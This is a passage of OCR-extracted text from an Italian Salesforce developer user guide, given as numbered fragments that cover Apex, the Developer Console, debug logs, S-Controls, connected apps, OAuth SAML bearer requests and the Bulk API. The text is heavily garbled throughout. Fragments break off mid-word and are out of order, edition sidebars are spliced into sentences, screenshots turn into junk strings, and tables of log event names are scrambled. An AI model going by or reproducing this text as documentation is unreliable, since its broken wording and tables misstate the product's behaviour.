configurazione gt MANI A AE Dee ero NIE Lightning Experience di un indirizzo di servizio di email esistente Per eliminare un indirizzo email fare clic su Visualizza ed Elimin
409. o e Referente e Contratto e Evento e Campagna Google e Parola chiave e Lead e Opportunit e Prodotto opportunit e Prodotto e Frase di ricerca e Versione SFGA e Soluzione e Operazione e Annuncio testuale e Oggetti personalizzati e Evento e Operazione Referente Ottimizzazione di Salesforce con il codice DisableCustomerPortalAccount DisablePartnerPortal DisablePartnerPortalAccount Download Modifica EditAIIProduct EnableAsPartner EnablePartnerPortalUser EnableSelfService FindDup FollowupEvent FollowupTask HooversProfile Guida dell utente Componenti Apex Visualforce e Disabilitare un account del Portale Clienti Disabilitare un utente del Portale partner Disabilitare un account del Portale partner Scaricare un allegato Modificare un record Modificare tutti i prodotti di un listino prezzi Designare un account come account partner Abilitare un referente come utente del Portale partner Abilitare un referente come utente Self Service Visualizzare i lead duplicati Creare un evento di follow up Creare un operazione di follow up Visualizzare un profilo Hoovers Lightning 44 Account Referente Account e Allegato e Documento e Gru e Ass ppo di annunci et e Campagna e Membro campagna e Cas O e Referente e Contratto e Eve nto e Campagna Google e Parola chiave e Lea d e Opportunit e Prodotto
410. o 2 MB vengono ridotte rimuovendo le righe di registro pi vecchie quali le righe di registro delle dichiarazioni System debug precedenti Le righe di registro possono essere eliminate da qualsiasi posizione non soltanto dal registro debug e Ogni organizzazione pu conservare fino a 50 MB di registri debug Quando l organizzazione raggiunge il limite di 50 MB i registri debug pi vecchi vengono sovrascritti Troncamento dei registri debug Al fine di fornire le informazioni maggiormente pertinenti i registri debug sono troncati a partire dalle voci di registro meno recenti Le voci di registro pi recenti ven massime di 2 MB gono sempre conservate Il registro debug viene troncato di 200 KB quando raggiunge le dimensioni seguenti eventi sono necessari per l elaborazione del registro debug e associati a voci di registro non eliminabili e EXECUTION STARTED e EXECUTION FINISHED e CODE UNIT STARTED e CODE UNIT FINISHED e METHOD ENTRY METHOD EXIT e CONSTRUCTOR ENTRY e CONSTRUCTOR EXIT e SOQL EXECUTE BEGIN e SOQL EXECUTE_END e SOSL EXECUTE BEGIN e SOSL EXECUTE_END e CALLOUT_ REQUEST e CALLOUT RESPONSE e FATAL ERROR Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 279 O Nota Le voci di registro per gli eventi necessari all e
411. o a uno snippet che fornisce un intestazione per la pagina che viene visualizzata in una scheda Web La pagina recher il titolo Titolo personale Utilizzare la variabile globale SControl per fare riferimento a uno snippet Per implementare questa situazione creare due snippet di nome Resize_Iframe_head e Resize_Iframe_onload e creare un S Control HTML di nome Resize_lframe_sample che include il codice seguente lt html gt lt body gt INCLUDE SControl Header Snippet title My Title theme modern lt body gt lt html gt Ottimizzazione di Salesforce con il codice Campi di unione per S Control Guida dell utente Componenti Apex Visualforce e Lightning 134 O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non EDIZIONI hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Un campo di unione un campo che pu essere posizionato in un modello di email un modello stampa unione un link personalizzato o una formula per incorporare valori di un record d dell utente alla pagina della guida quando quest ultima viene visualizzata Suggerimenti Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Poich gli S Control sono la fonte del contenuto della guida a livello di oggetto possibile utilizzare Contact Manager Edition campi di unione o altre f
412. o al nome della classe che si desidera limitare 3 Selezionare i profili che si desidera abilitare dall elenco Profili disponibili e fare clic su Aggiungi oppure selezionare i profili che si desidera disabilitare dall elenco Profili abilitati e fare clic su Rimuovi 4 Fare clic su Salva VEDERE ANCHE Impostazione dell accesso alle classi Apex dalla pagina dei dettagli della classe Impostazione dell accesso classe Apex dagli insiemi di autorizzazioni Impostazione dell accesso classe Apex dai profili Lightning 93 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition FANGO NPZZAVA O N UTENTE Per impostare la protezione per le classi Apex e Apex autore E Personalizza applicazione Ottimizzazione di Salesforce con il codice Impostazione dell accesso alle classi Apex dalla pagina dei dettagli della classe 1 Dalmposta immettere Classi Apex nellacasella Ricerca veloce quindi selezionare Classi Apex 2 Fareclic sul nome della classe che si desidera limitare 3 Fare clic su Protezione 4 Selezionare i profili che si desidera abilitare dall elenco Profili disponibili e fare clic su Aggiungi oppure selezionare i profili che si desidera disabilitare dall elenco Profili abilitati e fare clic su Rimuovi 5 Fare clic su Salva VEDERE ANCHE
413. o dalle regole di condivisione Inoltre vengono rimossi tutti i tipi di condivisione che offrono un tipo di accesso ridondante Ad esempio la condivisione manuale che offre a un utente l accesso in Sola lettura viene eliminata quando il modello di condivisione dell oggetto viene cambiato da Privato a Sola lettura pubblica Per ulteriori informazioni sulla creazione della condivisione gestita Apex e delle classi di ricalcolo vedere il manuale Force com Apex Code Developer s Guide Per associare una classe di ricalcolo condivisione gestita Apex a un oggetto personalizzato 1 Dalle impostazioni di gestione dell oggetto personalizzato accedere a Ricalcoli condivisione Apex ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Professional Edition Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition YANG O NPZZAVA O N UTENTE Per associare una classe di ricalcolo condivisione gestita Apex e Apex autore Per eseguire un ricalcolo condivisione gestita Apex e Apex autore OPPURE Gestisci condivisione 2 Scegliere la classe Apex che esegue il ricalcolo condivisione Apex per questo oggetto La classe scelta deve implementare l interfaccia Database Batchable Non consentito associare pi volte la stessa classe Apex allo stesso oggetto personalizzato 3 Fare clic su Salva Ottimizzazione di Salesforce con il codice G
414. o di Site CurrentSiteUrl non consigliato al suo posto si consiglia di utilizzare Site BaseUrl Restituisce true se il sito corrente associato a un portale attivo e abilitato per l accesso in caso contrario restituisce false Restituisce t rue se il sito corrente associato a un Portale Clienti attivo e abilitato per l auto registrazione in caso contrario restituisce false Per gli utenti autenticati restituisce true se la password dell utente attualmente connesso scaduta Per gli utenti non autenticati restituisce false Restituisce il valore del campo Referente sito peril sito corrente Restituisce il prefisso percorso URL del sito corrente Ad esempio se l URL del proprio sito miasociet force com partners partners il prefisso percorso Restituisce nu11 se il prefisso non definito Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Restituisce il nome di modello associato al sito corrente restituisce il modello predefinito se non stato designato alcun modello Restituisce un messaggio di errore per la pagina corrente se si tratta di una pagina di errore designata per il sito ed presente un errore in caso contrario restituisce una stringa vuota Restituisce la descrizione dell errore per la pagina corrente se si tratta di una pagina di errore designata per il sito ed presente un errore in caso contrario restituisce una stringa vuota I
415. o di elemento e nome dell elemen Flusso di WARNING e utilizzato percorso errore avoro superiori FLOW INTERVIEW PAUSED D intervista nome del flusso e motivo della messa in Flusso di INFO e pausa dell utente avoro superiori FLOW INTERVIEW RESUMED D intervista e nome del flusso Flusso di INFO e avoro superiori Campi o informazioni registrate con l evento Guida dell utente Registri debug 285 Categoria Livello registrata registrato Ottimizzazione di Salesforce con il codice Nome dell evento FLOW_LOOP_DETAIL ETAIL 0W_RUL LOW_STA LOW_STA LOW_STA LOW_STA LOW_STA RT RT RT RT RT LOW_SUBF 0W_VALUE ASSIGNM RVI EGIN RVI RVI EWS_B EGIN RVI EWS END RVIEWS ERROR ETAIL LOW WAIT LOW WAIT LOW WAIT l EVENT l EV DI r_RESUMING_ LOW WAIT EAP A LOCATII T WAITING DI RJ EAP DEA LOCATE ERY ECUTE FAS_QU LIMIT _USAG GI FOR_NS ESUMING_ ETAIL ENT WAITING DETAIL ETAIL ETAIL Guida dell utente Registri debug 286 Campi o informazioni registrate con l evento Din Din Din Rich Rich Din Din Din Din ipo Din pers Din
416. o i test non riusciti della serie di test evidenziata nella scheda Tests Test e Run All Esegui tutti esegue tutti i test salvati e Abort Interrompi interrompe il test selezionato nella scheda Tests Test e Collapse All Comprimi tutto comprime tutti i test aperti nella scheda Tests Test e Expand All Espandi tutto espande tutti i test aperti nella scheda Tests Test e Clear Test Data Cancella dati del test cancella i dati del test corrente e i risultati della copertura codice Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione di test nella Console sviluppatore 302 Test Workspacev Help lt Always Run Asynchronously New Run Rerun Rerun Failed Tests Run All Abort Collapse All Expand All Clear Test Data test completati vengono elencati nella scheda Tests Test nel riquadro inferiore della Console sviluppatore Logs ests Checkpoints Query Editor Progress Problems x Status TestRun Duration Failures Total Overall Code Coverage adi 3 2013 04 10 08 03 53 td b3 a 0 2 Class Percent Lines td AE UserResultTest 0 1 FilterOptions 100 9 9 a v E testUserResult 0 00 FilterOptionsTest 0 No data v 3 9 PermissionAssignmentControllerTest 0 1 foo 0 No data E testController 0 00 a 0 No data HelloWorld 0 No data MyClass 0 No data Il riquadro Overall Code Coverage Copertura codice totale visualizza la percentuale di copertura di codice p
417. o un elaborazione del batch troppo lunga Ora iniziale Ladatael ora di creazione del batch nel fuso orario UTC Non si tratta dell ora di inizio dell elaborazione ma dell ora in cui il batch stato aggiunto al processo Messaggio di Contiene i motivi per i quali il batch non stato completato correttamente stato Stato Lo stato di elaborazione attuale del batch e Queued l elaborazione del batch non ancora iniziata Se il processo associato al batch viene interrotto il batch non viene elaborato e lo stato verr impostato su Not Processed e In Progress il batch in fase di elaborazione Se il processo associato al batch viene interrotto l elaborazione del batch continua fino al completamento necessario chiudere il processo associato al batch in modo tale che l elaborazione del batch sia completata e Completed ilbatch stato elaborato e la risorsa risultato disponibile La risorsa risultato indica se alcuni record non sono riusciti Un batch pu essere completato anche nel caso in cui alcuni o tutti i record non siano riusciti Se un sottoinsieme di record non riuscito i record riusciti non vengono ritirati e Failediilbatch non ha elaborato la richiesta completa a causa di un errore imprevisto ad esempio una richiesta compressa in un formato non supportato o un errore interno del server e Not Processed ilbatch non ha elaborato la richiesta completa a causa di un errore imprevisto ad esempio una richiesta compre
418. o un valore Ad esempio possibile inserire ExpenseApprover Questo esempio di API REST Chatter imposta il valore di ExpenseApprover su 005B0000000Gel6 POST connect action link group definitions templateld 07gD00000004C9r templateBindings key ExpenseApprover value 005B0000000Gel6 22 Per creare un altro modello di link azioni per questo modello di gruppo dei link azioni fare clic su Salva e Nuovo 23 Una volta terminata l aggiunta di modelli di link azioni a questo modello di gruppo dei link azioni fare clic su Salva 24 Per pubblicare il modello di gruppo di link azioni fare clic su Torna all elenco per tornare alla visualizzazione elenco Modello di gruppo dei link azioni Importante necessario pubblicare un modello prima di poter istanziare un gruppo di link azioni a partire da esso in Apex o nell API REST Chatter 25 Fare clic su Modifica per il modello di gruppo dei link azioni da pubblicare 26 Selezionare Pubblicato e fare clic su Salva Ottimizzazione di Salesforce con il codice Modifica dei modelli di link azioni possibile modificare tutti i campi su un modello di gruppo dei link azioni non pubblicato e sui modelli di link azioni ad esso associati 1 DaImposta immettere Modelli di link azioni nellacasella Ricerca veloce quindi selezionare Modelli di link azioni Per modificare un modello di gruppo dei link azioni fare clic su Modifica accanto al suo nome
419. odice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 269 e La scheda Executed Units Unit eseguite visualizza le risorse di sistema utilizzate da ogni elemento nel processo What Method Method Method Method Method Show Name Sum size 0 40 debug 0 72 execute 36 92 f_uifcom 36 98 add 0 49 Methods Queries Avg 0 08 0 09 36 92 36 98 0 12 Workflow Max 0 11 0 13 36 92 36 98 0 15 Callouts DML Save Order Limits Timeline BxecutedUnits Min Count Heap 0 06 5 0 0 08 8 0 36 92 1 2534 36 98 1 0 0 09 4 0 Validations Triggers Pages Query Type Sumrows Avgrows Maxrows Minrow n a n a n a n a n a a n a nja nja nfa nja n a nja n a n a n a E n a nfa n a nja nfa nja n a nja n a n a pulsanti nella parte inferiore della scheda possono essere utilizzati per filtrare le informazioni in base al tipo di elemento Ad esempio per non visualizzare i dettagli dei metodi fare clic su Methods Metodi Fare clic sul pulsante una seconda volta per annullare il filtro La scheda Executed Units Unit eseguite contiene le seguenti informazioni Colonna What Cosa Name Nome Sum Somma Avg Media Max Min Count Conteggio Heap Query Type Tipo di query Sum rows Somma righe Avg rows Media righe Max rows Righe max Descrizione Tipo di elemento del processo tipi possono essere Met
420. oggetto personalizzato nella relativa pagina dei dettagli ed eseguirle se un problema di blocco impedisce ad Apex di concedere l accesso a un utente secondo quanto definito dalla logica dell applicazione I ricalcoli condivisione Apex sono anche utili per risolvere i problemi di visibilit dovuti agli errori di codifica Ad esempio se uno sviluppatore corregge un errore di codifica che impedisce agli utenti di accedere a dei record che dovrebbero poter visualizzare possibile che tale correzione abbia effetto solo sui record creati dopo l aggiornamento del codice Per fare in modo che la correzione venga applicata anche ai record gi esistenti lo sviluppatore pu eseguire un ricalcolo condivisione Apex per convalidare la condivisione su tutti i record ricalcoli condivisione Apex possono essere eseguiti dalla pagina dei dettagli di un oggetto personalizzato Possono anche essere eseguiti in modo programmatico utilizzando il metodo Database executeBatch Inoltre Salesforce esegue automaticamente le classi di ricalcolo Apex definite per un oggetto personalizzato ogni volta che viene aggiornato un livello di accesso ai valori di condivisione predefiniti dell organizzazione per un oggetto personalizzato O Nota Salesforce ricalcola automaticamente la condivisione per tutti i record di un oggetto quando viene modificato il suo livello di accesso ai valori di condivisione predefiniti dell organizzazione Il ricalcolo include l accesso garantit
421. ogin salesforce com Content Type application x www form urlencoded Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 210 grant _type urns3Aietfs3Aparams 3Aoauth 3Agrant types3Asaml2 bearer amp assertion PHNhbWxw0l1 omitted for brevity ZT Il server invia una risposta Dopo che la richiesta stata verificata Salesforce invia una risposta al client Le risposte del token per il flusso token bearer SAML OAuth 2 0 seguono lo stesso formato dei flussi authorization code anche se non viene mai emesso un refresh_token O Nota Una richiesta di asserzione bearer SAML OAuth 2 0 analizza tutte le precedenti approvazioni per l utente che includono un refresh token Se vengono rilevate approvazioni corrispondenti i valori degli ambiti approvati vengono combinati e viene emesso un access_token convalore token type Bearer Se nessuna approvazione precedente includeva un refresh token non sar disponibile alcun ambito approvato e la richiesta non riuscir in quanto non autorizzata Errori Se si verifica un errore nell elaborazione dell asserzione bearer SAML il server risponde con un messaggio di errore OAuth standard che include un errore e relativa descrizione con informazioni in merito alle ragioni per cui il token stato considerato non valido Di seguito riportato un esempio di risposta con errore HTTP 1 1 400 Bad Request Content Type application json Cache Control
422. ol Considerazioni in merito agli S Control nei pacchetti Force com AppExchange Guida dell utente Componenti Apex Visualforce e Lightning 124 ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Se si stanno sviluppando dei pacchetti Force com AppExchange con S Control o se si sta pianificando l installazione di un pacchetto AppExchange con S Control opportuno tenere presenti le seguenti limitazioni e Peri pacchetti che si stanno sviluppando ossia non installati da AppExchange possibile aggiungere solo S Control ai pacchetti con l accesso API Senza restrizione predefinito Una volta che un pacchetto ha un S Control non possibile abilitare l accesso API Con restrizione e Peri pacchetti installati possibile abilitare le restrizioni per l accesso anche se il pacchetto contiene degli S Control Tuttavia le restrizioni all accesso forniscono una protezione limitata per gli S Control Salesforce consiglia di informarsi in modo approfondito in merito al funzionamento di JavaScript in un S Control prima di affidarsi alla restrizione dell accesso per la sicurezza degli S Control e Se un pacchetto installato dispone di accesso API Con restrizione gli aggiornamenti saranno completati correttamente solo se la versione aggiornata non contie
423. ologia VEDERE ANCHE Panoramica sull interfaccia utente Console sviluppatore Source Code Editor Editor codice sorgente Ottimizzazione di Salesforce con il codice Guida dell utente Console sviluppatore 9 Menu File Nella Console sviluppatore il menu File consente di gestire i trigger e le classi Apex le pagine o i componenti Visualforce e le risorse statiche testo XML JavaScript o CSS Include le seguenti opzioni New Nuovo Crea una nuova risorsa e la apre nel Source Code Editor Editor codice sorgente possibile creare le seguenti risorse Classe o trigger Apex per creare un nuovo trigger Apex selezionare innanzitutto l oggetto da associare al trigger Applicazione componente evento o interfaccia Lightning Per ulteriori informazioni vedere Panoramica sul framework Componente Lightning Beta a pagina 87 O Nota Per creare le risorse Lightning necessario utilizzare un organizzazione Developer Edition che abbia un prefisso spazio dei nomi Pagina o componente Visualforce File di risorsa statica testo XML JavaScript o CSS Open Apri Avvia una finestra File Open File Apri che consente di cercare e aprire il codice della propria applicazione e gli oggetti di dati Open Resource Apri risorsa avvia una finestra Open Resource Apri risorsa che consente di cercare i file per nome Open Log Apri registro Apre il registro selezionato nel Log Inspector Controllo registri anche possibile
424. ome app tipo di servizio Apple o Android GCM ID utente dispositivo payload sottostringa Questo evento registra che una notifica stata accettata per l invio Non garantiamo la consegna della notifica Numero di riga ID Force com della classe o del trigger per cui sono stati impostati i livelli del registro e che esce dall ambito nome di questa classe o trigger e impostazioni del livello del registro che sono effettive dopo l entrata in questo ambito umero di riga umero di riga umero di riga e numero di iterazioni di queryMore Categoria registrata Apex Code Apex Code Apex Code Apex Code Apex Code Apex Code System Livello registrato ERROR ERROR ERROR DEBUG INFO DEBUG INFO e superiori INFO e superiori INFO e superiori INFO e superiori Ottimizzazione di Salesforce con il codice Nome dell evento SAVEPOINT SAVEPOINT_ SLA_ END EVAL M ROLLBACK ILESTONE NULL S SOOL PROCES TART DATE S_CASE EGIN SOOL SOSL TE BEGIN SOSL STACK _FRAM STAT STAT SYST SYST i i i E VARIABLE LIST DIC VARIABLE EM_CON EM_CON IST STRUCTOR ENTRY STRUCTOR EXIT Guida dell utente Registri debug 289 Campi o informazioni registrate con l
425. on sono supportate Tuttavia possibile simularle utilizzando campi di testo che contengono il nome API dell oggetto di destinazione Strumenti di application lifecycle management tipi di metadati personalizzati non supportano i seguenti strumenti di application lifecycle management e Controllo delle versioni e Tooling API e Console sviluppatore Licenze Le licenze definite per un pacchetto di estensione non vengono applicate ai record di metadati personalizzati di quel pacchetto a meno che anche i tipi si trovino nel pacchetto SOQL tipi di metadati personalizzati supportano la seguente sintassi di query SOQL SELECT fieldList FROM objectType USING SCOPE filterScope WHERE conditionExpression ORDER BY field ASC DESC NULLS FIRST LAST H e fieldList pu includere solo campi non di relazione FROM pu contenere solo un oggetto e Non possibile utilizzare COUNT con i tipi di metadati personalizzati e possibile utilizzare i seguenti operatori Ottimizzazione di Salesforce con il codice INE NOT IN gt gt lt lt e LIKE inclusi caratteri jolly AND Guida dell utente Integrazione di app con Salesforce 250 e possibile utilizzare ORDER BY ASC e DESC con pi campi Tipi di metadati personalizzati protetti Gli abbonati non possono aggiungere record di metadati personalizzati ai tipi di metadati personalizzati
426. onalizzati fare clic su Nuovo Ogni attributo personalizzato deve avere una chiave univoca e utilizzare i campi disponibili del menu Inserisci campo Ad esempio assegnare un nome della chiave come paese e inserire ilcampo Organization Country Sesi utilizza SAML gli attributi vengono inviati come istruzioni di attributi SAML Se si utilizza OAuth gli attributi sono disponibili come oggetto custom attributes nell URL identit dell utente Per le applicazioni connesse Salesforce1 sono disponibili i seguenti attributi personalizzati Chiave attributo CALL HISTORY Chiave attributo Tabella 1 Attributi personalizzati applicazioni connesse Salesforce1 per Android DISABLE ADMIN_ SIMPLE DE Valore attributo FINE Descrizione Se impostato su DISABLED rimuove la registrazione chiamate dal menu di navigazione Se impostato su ADMIN DEFINED abilita la registrazione ch di Android Se impostato su SIMPL registrazione chiamate A Tabella 2 Attributi personalizzati applicazioni connesse Salesforce1 per iOS USE ALT ERNATE SHOW_OPI EN_IN _US ER_PROFILE TRUE FALSE FALSE Valore attributo Descrizione iamate nativa E abilita la Ura Se impostato su TRUE abilita la pagina iniziale del profilo Aura Se impostato su FALSE abilita la pagina iniziale del profilo iOS nativo Se impostato su FALSE disa
427. onare Custom S Control dall elenco a discesa Seleziona tipo di campo escegliere URL Custom S Control per ottenere il relativo campo di unione Per un applet Java anche possibile utilizzare il campo di unione Scontrol JavaCodebase e il campo di unione e Perinserirecampidi unione attivit selezionare Evento oppure Operazione da Seleziona tipo di campo Q Suggerimento Gli standard Internet richiedono una speciale codifica per gli URL Salesforce codifica automaticamente il testo da un qualsiasi campo di unione inserito in un link Codificare manualmente l eventuale testo aggiuntivo nel link Ad esempio per generare il seguente URL http www googl Utilizzare questo contenuto http www googl com search q user name Steve Mark 505 com search q user name Steve Mark 50 25 Salesforce elimina automaticamente le virgolette doppie dagli URL quando l Origine contenuto un URL Se necessario utilizzare le virgolette doppie codificarle manualmente Ad esempio per generare l URL http www google com search q salesforce foundation utilizzare questo contenuto http www google com search qg 22salesforce foundation 22 Nome file Caricare un file da visualizzare quando si aggiunge questo Custom S Control a un link personalizzato Il file pu contenere un applet Java un controllo Active X o qualsiasi altro tipo di contenuto Questa opzione valida solo per gli S Control HTML Ottimizzazione di Sa
428. onda istruzione i nel codice di esempio indicato sopra La prima un istruzione if JavaScript che controlla sul browser La seconda l istruzione IF di Salesforce che controlla sul server e restituisce un valore singolo ossia il numero di giorni durante il quale il lead rimasto aperto oppure zero se il lead non aperto Q Suggerimento In questo esempio utilizzare la funzione URLFOR per creare gli URL Salesforce anzich specificare i singoli URL per assicurarsi che siano supportati nelle varie versioni Per visualizzare una pagina Salesforce standard senza richiamare la sostituzione impostare l argomento no override nella funzione URLFOR su true vero Inoltre utilizzare il parametro retURL nella propria funzione URLFOR per riportare l utente alla pagina dei dettagli dopo il salvataggio Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 132 Sostituzione Modifica referenti possibile che si disponga del proprio codice e si preferisca utilizzare tale codice per la modifica dei referenti Utilizzare l esempio di S Control riportato di seguito per trasmettere i valori dei dati utilizzando i campi unione da una pagina dei dettagli di un record in un Custom S Control che ignori sostituisca un pulsante standard di una pagina dei dettagli lt htm1 gt lt head gt lt script type text javascript src soap ajax 13 0 connection js gt lt script gt lt head gt
429. one a cui si concesso l accesso oltre al numero di volte e all ultima volta che l applicazione ha tentato di accedere alle informazioni Nota un applicazione pu essere elencata pi di una volta Ogni volta che si concede l accesso a un applicazione essa ottiene un nuovo token di accesso Le richieste di token di aggiornamento incrementano il Conteggio utilizzi visualizzato per l applicazione necessario concedere l accesso ai propri dati Salesforce da ogni dispositivo che si utilizza ad esempio sia da un computer portatile che da un computer desktop Il limite predefinito cinque token di accesso per ogni applicazione Le applicazioni pi recenti che utilizzano il protocollo OAuth 2 0 vengono automaticamente approvate per ulteriori dispositivi dopo che l utente ha concesso l accesso una volta Le applicazioni OAuth 2 0 possono essere indicate pi di una volta Ogni riga della tabella rappresenta un unica concessione quindi se un applicazione richiede pi token con ambiti diversi la stessa applicazione apparir pi volte Anche se l applicazione connessa ha tentato di accedere alle informazioni senza riuscirvi perch non ha potuto effettuare l accesso i campi Conteggio utilizzi e Ultimo utilizzo vengono aggiornati ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni TANGO NPZZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazio
430. one di app con Salesforce 159 e In una clausola AND non ha la precedenza su OR Aggiungere in modo esplicito delle parentesi alle clausole se una singola clausola contiene sia AND che OR e In una clausola per i nomi degli attributi e gli operatori si fa distinzione tra maiuscole e minuscole Questi campi devono essere filtrati separatamente Utenti entitlements groups Gruppi members Diritti members Per ulteriori informazioni consultare la specifica SCIM 1 1 relativa allo schema principale la specifica SCIM 1 1 relativa all API REST e il manuale Salesforce REST API Developer s Guide Processi di caricamento dati in blocco Monitoraggio di processi di caricamento dati in blocco Mediante l API in blocco che ottimizzata per elaborare serie di dati di grandi dimensioni possibile creare aggiornare o eliminare insiemi di record molto ampi Questa funzione consente di caricare aggiornare o eliminare agevolmente i dati da poche migliaia a milioni di record L elaborazione di grandi quantit di record richiede un certo tempo Questa pagina consente di monitorare l andamento dei processi in corso e i risultati dei processi recenti Per elaborare un insieme di record creare un processo contenente uno o pi batch Il processo specifica l oggetto da elaborare e il tipo di azione utilizzato query inserimento inserimento con aggiornamento aggiornamento o eliminazione Un batch un insieme di record inviato al ser
431. one e la deserializzazione la somma dei empi equivalenti di tutti i batch del processo Versione La versione API del processo API ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANG O NPZZAVA O N UTENTE Per monitorare i processi di caricamento dati in blocco e Gestisci integrazioni di dati Ottimizzazione di Salesforce con il codice Campo Batch completati Modalit concomitanza Tipo di contenuto Ora finale Campo ID esterno Batch con errori ID processo Batch in elaborazione Oggetto Operazioni Avanzamento Batch in area di attesa Record non riusciti Guida dell utente Integrazione di app con Salesforce 162 Descrizione Il numero di batch completati per il processo La modalit concomitanza per l elaborazione dei batch valori validi sono e parallel lbatch vengono elaborati in modalit parallela Questo il valore predefinito e serial lbatch vengono elaborati in modalit seriale Il tipo di contenuto del processo valori validi sono e CSV dati in formato CSV e XML dati in formato XML opzione predefinita e ZIP _CSV dati in formato CSV in un file zip contenente allegati binari e ZIP_XML dati in formato XML in un file zip contenente allegati binari La d
432. oni Avvertenza Se si passa da Tutti gli utenti possono autorizzarsi autonomamente a Gli utenti approvati dall amministratore sono pre autorizzati tutti gli utenti che stanno attualmente utilizzando l applicazione perderanno il proprio accesso a meno che non appartengano a un insieme di autorizzazioni o a un profilo specificati per l applicazione O Nota Se nel profilo o insieme di autorizzazioni dell utente stata abilitata l autorizzazione utente Utilizza qualsiasi client API ilcriterio Gli utenti approvati dall amministratore sono pre autorizzati pu essere ignorato Questa autorizzazione utente disponibile solo se stata abilitata l autorizzazione dell organizzazione Solo applicazioni approvate dall amministratore L autorizzazione utente Utilizza qualsiasi client API consente a un utente non approvato dall amministratore di accedere all applicazione ed eseguirla anche se le impostazioni dell applicazione connessa richiedono utenti approvati dall amministratore ed stata abilitata l autorizzazione dell organizzazione Solo applicazioni approvate dall amministratore Questo schema di autorizzazioni consente ad utenti specifici ad esempio i dipendenti a contratto di breve periodo di accedere a un applicazione connessa in via provvisoria Riduzione restrizioni IP siriferisce alle limitazioni IP a cui gli utenti dell applicazione connessa sono soggetti Gli intervalli IP funzionano con le applicazioni connesse abilitate pe
433. oni e Source Sorgente e Variables _ Variabili e Execution Overview Panoramica esecuzioni Fare clic su Debug gt View Log Panel Visualizza riquadri registro o premere CTRL P per scegliere tra i riquadri disponibili e progettare una prospettiva personalizzata Select Panels x V Stack Tree 7 Execution Stack Y Execution Log V Source V Variables Y Execution Overview Se si progetta una prospettiva personalizzata che si desidera riutilizzare fare clic su Debug gt Save Perspective Salva prospettiva e assegnare un nome facile da ricordare Una volta salvata una prospettiva personalizzata possibile selezionarla ogni volta che si utilizza il Log Inspector Controllo registri facendo clic su Debug gt Switch Perspective Cambia prospettiva Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 265 La maggior parte dei riquadri si aggiornano automaticamente per visualizzare le informazioni quando si fa clic su un elemento in un riquadro correlato Ad esempio se si fa clic su una cartella denominata nel riquadro Stack Tree Albero stack i riquadri Execution Stack Stack esecuzioni Execution Log Registro esecuzioni e Source Sorgente vengono aggiornati in modo da visualizzare le informazioni relative all oggetto correlato Analogamente se si fa clic su una riga del registro esecuzioni vengono aggiornati i riquadri Stack Tree Albero stack Execution S
434. onibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition YANG O NPAZAVA O N UTENTE Per definire modificare eliminare e mostrare le dipendenze dei trigger Apex e Apex autore Ottimizzazione di Salesforce con il codice O Nota Guida dell utente Componenti Apex Visualforce e Lightning 58 e possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche all Apex solo utilizzando la chiamata deploy dell API metadati Force com IDE o lo strumento di migrazione Force com Force com IDE e lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Quadro di Sottoscrizione di Salesforce e Un icona indica che un pacchetto gestito installato contiene un trigger Apex Non possibile modificare o eliminare un trigger in un pacchetto gestito Un icona indica che un trigger Apex di un pacchetto gestito rilasciato in precedenza sar eliminato al prossimo caricamento di pacchetti possibile decidere di annullare l eliminazione del trigger Apex tramite la pagina dei dettag
435. ont dall elenco a discesa per regolare le dimensioni dei caratteri visualizzati nell editor Line and column position La posizione del cursore sulla riga e sulla colonna visualizzata nella barra di stato situata nella parte inferiore dell editor Questa pu essere utilizzata per posizionarsi su una riga specifica in modo da spostarsi rapidamente all interno dell editor Line and character count Guida dell utente Componenti Apex Visualforce e Lightning 15 D OX Disponibile nelle versioni Salesforce Classic Apex disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition D7AON Disponibile nelle versioni Salesforce Classic Visualforce disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANSILON TAAA ON UTENTE Per modificare il markup Visualforce e Personalizza applicazione Per modificare i controller Visualforce personalizzati o Apex e Apex autore Il numero totale delle righe e dei caratteri visualizzato nella barra di stato situata nella parte inferiore dell editor L editor supporta i seguenti tasti di scelta rapida Tab Aggiunge una tabulazione in corrispondenza del cursore MAIUSC Tab Rimuove una tabulazione Ottimizzazione di Salesforce con il codice Guida dell utente
